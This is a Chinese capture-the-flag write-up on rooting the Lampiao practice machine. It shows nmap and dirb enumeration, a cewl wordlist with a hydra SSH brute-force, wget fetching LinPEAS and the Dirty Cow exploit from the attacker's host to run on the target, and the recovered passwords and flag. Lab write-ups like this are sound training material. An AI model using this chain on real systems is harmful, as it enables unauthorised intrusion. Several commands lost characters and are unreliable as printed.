Lampiao 靶场

Lampiao 靶场完整渗透解析一、靶场环境信息攻击机KaliIP192.168.146.128靶机 IP192.168.146.129目标获取靶机 root 权限与 flag二、步骤 1信息收集端口与服务扫描nmap -p- -sV 192.168.146.129 -n -T4关键结果22/tcpOpenSSH 6.6.1p1Ubuntu80/tcphttp?状态不确定1898/tcpApache httpd 2.4.7Ubuntu三、步骤 2Web 服务探索1898 端口操作 1访问 1898 端口主页面在浏览器中访问http://192.168.146.129:1898发现这是一个基于 Drupal 搭建的网站左侧存在登录表单页面展示了关于 “Lampião” 的历史文章。操作 2通过Read more按钮探索文章内容点击文章下方的Read more按钮进入文章详情页此时 URL 出现新参数http://192.168.146.129:1898/?qnode/1页面内容为关于 Lampião 的历史介绍未发现直接敏感信息。操作 3修改 URL 参数枚举node路径尝试修改 URL 参数将node/1改为node/2访问http://192.168.146.129:1898/?qnode/2发现页面中包含两个文件audio.m4a和qrc.png。操作 4分析 node/2 页面的文件线索打开audio.m4a录音文件在浏览器中访问http://192.168.146.129:1898/audio.m4a播放后发现音频中明确提到了用户名tiago。打开qrc.png二维码图片在浏览器中访问http://192.168.146.129:1898/qrc.png使用微信扫描后未获取到有效密码信息仅为干扰项。操作 5继续枚举node路径尝试访问node/3路径http://192.168.146.129:1898/?qnode/3页面仅包含一个无有效信息的 mp3 文件未发现新线索。四、步骤 3目录爆破寻找敏感路径dirb http://192.168.146.129:1898关键结果发现目录includes/、misc/、modules/、profiles/、scripts/、sites/、themes/敏感文件index.php、robots.txt、web.config、xmlrpc.php五、步骤 4社工字典生成 SSH 爆破操作 1生成社工字典cewl http://192.168.146.129:1898 -w pass.txt操作 2Hydra 爆破 SSH 密码hydra -l tiago -P pass.txt 192.168.146.129 ssh关键结果账号tiago密码Virgulino六、步骤 5SSH 登录靶机低权限操作命令ssh tiago192.168.146.129 # 输入密码Virgulino id关键结果登录成功用户为tiagouid1000系统信息Ubuntu 14.04.5 LTS内核 4.4.0-31-generic七、步骤 6提权信息收集LinPEAS 脚本操作 1Kali 开启 HTTP 服务python -m http.server 8081操作 2靶机下载脚本并执行wget http://192.168.146.128:8081/aaa.sh chmod x aaa.sh ./aaa.sh关键结果内核版本4.4.0存在 Dirty Cow 提权漏洞系统Ubuntu 14.04架构 i686截图位置八、步骤 7Dirty Cow 提权获取 root 密码操作 1Kali 开启 HTTP 服务8000 端口python -m http.server 8000操作 2靶机下载 Exp 源码wget http://192.168.146.128:8000/40847.cpp操作 3编译 Expg -Wall -pedantic -O2 -stdc11 -pthread -o 40847 40847.cpp -lutil关键结果编译成功生成可执行文件40847截图位置九、步骤 8执行 Dirty Cow Exp获取 root 密码操作命令la -al # 查看当前目录文件 ./40847关键结果成功获取 root 密码dirtyCowFun十、步骤 9登录 root 用户并获取 flag操作命令ssh root192.168.146.129 # 输入密码dirtyCowFun ls cat flag.txt关键结果成功登录 root 用户获取 flag9740616875908d91ddcdaa8aea3af366十一、完整渗透思路总结信息收集nmap 扫描靶机开放端口与服务发现 22/80/1898 端口Web 线索挖掘通过修改 URL 参数枚举 node 路径从 node/2 页面的音频文件中获取用户名tiago目录爆破dirb 爆破 1898 端口目录确认 Drupal 服务结构账号获取cewl 生成社工字典hydra 爆破 SSH 密码拿到 tiago 用户权限提权准备上传 LinPEAS 脚本发现内核 4.4.0 存在 Dirty Cow 漏洞漏洞利用下载并编译 40847.cpp Exp获取 root 密码权限登顶使用 root 密码登录 SSH读取 flag 完成靶场